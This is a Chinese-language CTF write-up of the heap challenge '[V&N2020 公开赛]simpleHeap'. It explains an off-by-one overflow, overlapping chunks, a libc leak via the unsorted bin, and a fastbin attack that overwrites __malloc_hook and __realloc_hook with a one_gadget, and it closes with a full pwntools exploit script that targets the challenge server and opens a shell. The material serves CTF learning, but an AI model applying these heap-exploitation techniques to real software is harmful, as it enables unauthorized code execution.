[V&N2020 公开赛]simpleHeap

步骤：

例行检查，64位，保护全开
根据题目可知是一道堆，直接用64位ida打开

我修改了这些函数的名称，这样方便看程序
add，我们可以申请一个0~111大小的堆块，note_list里存放的是chunk的指针，size_list里存放的是chunk的size

edit

edit_1，可以看到当i在出了第6行的if循环的时候，它的值是a2+1，这样导致存在off by one漏洞，应该将判断条件改写成>=10

show,根据传入的idx，去寻找对应的指针，输出对应的内容

delete，根据传入的idx，释放掉指针所指向的内存，并将指针置为0，size置0
首先创建三个chuk，第一个的size为0x18（24），因为系统在分配内存时，chunk 的大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ的整数倍，会被转换满足大小的最小的 2 *SIZE_SZ 的倍数，64 位系统中，SIZE_SZ 是 8，而且处于使用状态中的chunk会复用下一个chunk的pre_size区域

add(0x18,'a'0x18) add(0x18,'b'0x18)
add(0x18,'c'*0x18)

gdb.attach(r)

根据上面从IDA反编译出的函数的分析，edit函数存在off by one漏洞
修改chunk0的时候，可以覆盖chunk1的size，这里我们将chunk1的size改为0x41，然后将其释放

edit(0,'a'*0x18+p8(0x41))
delete(1)

可以看到chunk1的大小以及被我们修改了

我们再申请0x30大小的chunk，就可以使chunk1和chunk2有重叠的部分

我们可以通过修改chunk1的内容来修改chunk2的size字段为0x91

这样系统再free的时候，将chunk2释放到unsorted bin（堆管理器的垃圾桶）里面，当unsorted bin里只有一个chunk时，该chunk的fd和bk指针均指向unsorted bin本身，而unsorted bin本身的地址与libc的基址之间的偏移是固定的，所以我们可以借此来泄露libc 基址。

先修改一下chunk2的size

edit(1,'e'*0x18+p64(0x91))

glibc在定位一个chunk的net_chunk时，是使用当前chunk_addr+当前chunk_size来实现的。chunk2的大小为0x20(包含chunk header)，上图可以看到chunk2后的next_chunk的地址应该是0x40+0x90=0xd0，上图的0xd0地址处没有值，所以需要下处add来伪造chunk2的next chunk的pre_size域，可以通过释放的时候的检查。

add(0x60,'f'*0x60)

先malloc chunk便于后面payload构造，这里先申请了chunk4，用上面的办法，通过修改chunk4来修改chunk5的的size为0x41

add(0x18,"A"*0x10)
add(0x18,'a'*0x10)
edit(4,'b'*0x18+p8(0x41))

然后申请chunk6和chunk7，这里构造chunk6的内容，与上面是一样的目的，为了使通过释放chunk5时的安全检查。然后释放chunk5，再次申请chunk5，使chunk5与chunk6的部分内存空间重叠，因为后面chunk6会被释放，所以无法通过修改chunk6来修改chunk6的fd指针，所以需要通过修改chunk5来修改chunk6的fd指针。这里malloc chunk8是为了在释放chunk7的时候不与top chunk合并。

add(0x60,'b'*0x10+p64(0x40)+p64(0x21))    #chunk 6
add(0x60,'c'*0x10)    #chunk 7
add(0x10,'c'*0x10)    #chunk 8

delete(5)
add(0x30,'a'*0x18)    #chunk 5

将chunk2释放，使其被放入unsorted bin，以此来泄露libc。这里因为chunk2的pre_size区域有00字段，导致在调用show函数的时候，puts函数会造成截断无法输出unsorted bin的地址，尝试使用edit函数来修改chunk2的pre_size区域，但是edit函数会将回车替换成00，所以我们这里先释放chunk1，然后再申请，add函数在输入内容的时候不会把回车修改为00字符。

delete(2)
delete(1)
add(0x30,'e'*0x20) #1
show(1)

libc_base=u64(r.recv(0x26)[0x20:].ljust(8,"\x00"))-0x3c4b78
log.success("libc_base:"+hex(libc_base))
one_daget_offset=[0x45216,0x4526a,0xf02a4,0xf1147]
one_daget=libc_base+one_daget_offset[1]

libc_base的接收

先释放chunk7，再释放chunk6，使fast bin 链表结构为chunk6->fd=chunk7 ，修改chunk5来修改chunk6的fd指针为fake_chunk的指针。然后，先malloc 0x60得到chunk7，再次malloc 0x60，系统会认为chunk6–>fd指向的地址为空闲的chunk，便会将fake_chunk指向内存空间返还给我们，同时将payload写入

delete(7)
delete(6)
edit(5,'f'*0x18+p64(0x71)+p64(libc_base+0x3c4aed))
add(0x60,'B'*0x10)
payload = p8(0)*11
payload += p64(one_daget)
payload+= p64(libc_base+0x846C0+0xc)
add(0x60,payload)

该payload修改__realloc_hook地址处的内容为one gadget地址，
我将libc里的one_gadget都试了一下，发现不对

去网上翻看了一下其他师傅的wp，发现他们修改了malloc_hook地址处的内容为ralloc函数的地址+0xc，来满足使用one_gadget的条件限制
参考这个师傅的方法，malloc_hook与realloc_hook是相邻的，所以这里可以通过一次修改达到目的。
realloc函数偏移为0x846c0，可以看到前面有很多push操作，通过修改realloc函数的起始地址+offset ，来减少或增加push的此时，来修正[rsp+0x30]为NUL，我们这里offset使用的为0xc，可以达到目的

完成上述的布局后只要去新建一个chunk就能触发漏洞利用

调用malloc函数---->判断是否有malloc_hook，有则调用之---->我们这里malloc_hook设置的为realloc函数+offset，程序便到此处执行---->执行realloc函数时，会判断是否有realloc_hook，有则调用之---->我们这里realloc_hook设置的为one_gadget，所以便会转到one_gadget处执行。

完整exp

#coding=utf-8
from pwn import *

#r=process('./vn_pwn_simpleHeap')
r=remote("node3.buuoj.cn",28763)

#context.log_level='debug'

libc=ELF("./libc-2.23-64.so")

def add(size,content):
    r.recvuntil("choice: ")
    r.sendline(str(1))
    r.recvuntil("size?")
    r.sendline(str(size))
    r.recvuntil("content:")
    r.send(content)

def edit(idx,content):
    r.recvuntil("choice: ")
    r.sendline(str(2))
    r.recvuntil("idx?")
    r.sendline(str(idx))
    r.recvuntil("content:")
    r.sendline(content)
    r.recvuntil("Done!")

def show(idx):
    r.recvuntil("choice: ")
    r.sendline(str(3))
    r.recvuntil("idx?")
    r.sendline(str(idx))

def delete(idx):
    r.recvuntil("choice: ")
    r.sendline(str(4))
    r.recvuntil("idx?")
    r.sendline(str(idx))
    r.recvuntil("Done!")

add(0x18,'a'*0x18)
add(0x18,'b'*0x18)
add(0x18,'c'*0x18)

edit(0,'a'*0x18+p8(0x41))
delete(1)
add(0x30,'d'*0x30)

edit(1,'e'*0x18+p64(0x91))

add(0x60,'f'*0x60)    

add(0x18,"A"*0x10)
add(0x10,'a'*0x10)
edit(4,'b'*0x18+p8(0x41))

add(0x60,'b'*0x10+p64(0x40)+p64(0x21))    #6
add(0x60,'c'*0x10)    #7
add(0x10,'c'*0x10)      #8
delete(5)
add(0x30,'a'*0x18)    #5

delete(2)
delete(1)
add(0x30,'e'*0x20) #1
show(1)

libc_base=u64(r.recv(38)[32:].ljust(8,"\x00"))-0x3c4b78
log.success("libc_base:"+hex(libc_base))
one_daget_offset=[0x45216,0x4526a,0xf02a4,0xf1147]
one_daget=libc_base+one_daget_offset[1]

delete(7)
delete(6)       #fast bin chunk6>chunk
edit(5,'f'*0x18+p64(0x71)+p64(libc_base+0x3c4aed))
add(0x60,'B'*0x10)#get idx7
payload = p8(0)*11
payload += p64(one_daget) #realloc_hook 写入one daget
payload+= p64(libc_base+0x846C0+0xc)#malloc hook 写入
add(0x60,payload)#get   idx8  malloc_hook chunk

r.recvuntil("choice: ")
r.sendline(str(1))
r.recvuntil("size?")
r.sendline(str(0x10))
r.interactive()
#gdb.attach(r)

r.interactive()

参考wp：
https://www.cnblogs.com/zhwer/p/14009340.html
https://blog.csdn.net/qq_36495104/article/details/106236474
http://www.pwn4fun.com/pwn/buuctf-pwn-writeup-part4.html#%5BV_N2020%E5%85%AC%E5%BC%80%E8%B5%9B%5D_Simple_Heap

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